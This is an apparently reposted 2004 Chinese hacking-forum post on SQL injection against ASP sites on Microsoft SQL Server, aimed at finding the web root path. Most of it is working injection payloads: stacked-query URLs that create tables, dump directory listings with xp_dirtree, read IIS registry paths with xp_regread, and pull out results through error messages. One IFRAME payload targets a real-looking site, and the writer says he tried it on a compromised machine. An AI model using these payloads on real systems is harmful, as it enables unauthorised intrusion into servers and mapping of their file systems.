首页 电脑 电脑学堂 查看内容

S Q L 注 入 路 径 问 题

2004-11-14 05:11 523 0

摘要: 下午没什么事情 看了看angel写一个路径的问章 找了肉鸡试了半天 费了牛劲了 我发现如果出现 Microsoft OLE DB Provider for SQL Server 错误 '80040e0...
关键词: 路径 方法 临时 http 变量 语句 错误 varchar ControlSet Parameters

下午没什么事情 看了看angel写一个路径的问章 找了肉鸡试了半天 费了牛劲了 我发现如果出现 Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 varchar 值 '#SharedObjects' 转换为数据类型为 int 的列时发生语法错误。 /html/showdetail_new.asp,行 9 这样他的方法就不能用了 #必须给屏蔽掉 要饭的得到路径的方法 偶也试了更是费劲啊 看看其中一句 我晕~ <IFRAME marginWidth=0 marginHeight=0 src="http://music.ty.sx.cn/html/showdetail_new.asp?id=214302; declare @result varchar(255) exec master.dbo.xp_regread '   HKEY_LOCAL_MACHINE','   SYSTEM\ControlSet001\Services\W3svc\Parameters\virtula Roots', '/', @result output insert into cyfd (gyfd) values(@result);--" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME> 我要晕了 angel方法手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第 一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去! 语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-- 返回:正常的信息!说明建表成功!继续! 语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'-- 返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-- 最后用同样的方法测试得到网页目录放在E:\WEB下 臭要饭写的! 1.怎么拿到Web绝对路径? 呵呵?这个问题,花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册?br />碇械玫剑?恢萌缦拢?br />HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 利用扩展存储过程xp_regread我们可以取得它的值. EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/' 这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?我的方法是:先创建一个临时 表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。 然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交: DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values( @result );-- 然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) 这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错,让IE返回变量的值,结果是失 败的,所以就想到了建临时表加数据进去的方法!最后我们再删除刚建的临时表。 不要破坏国内主机~lis0在此提醒
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部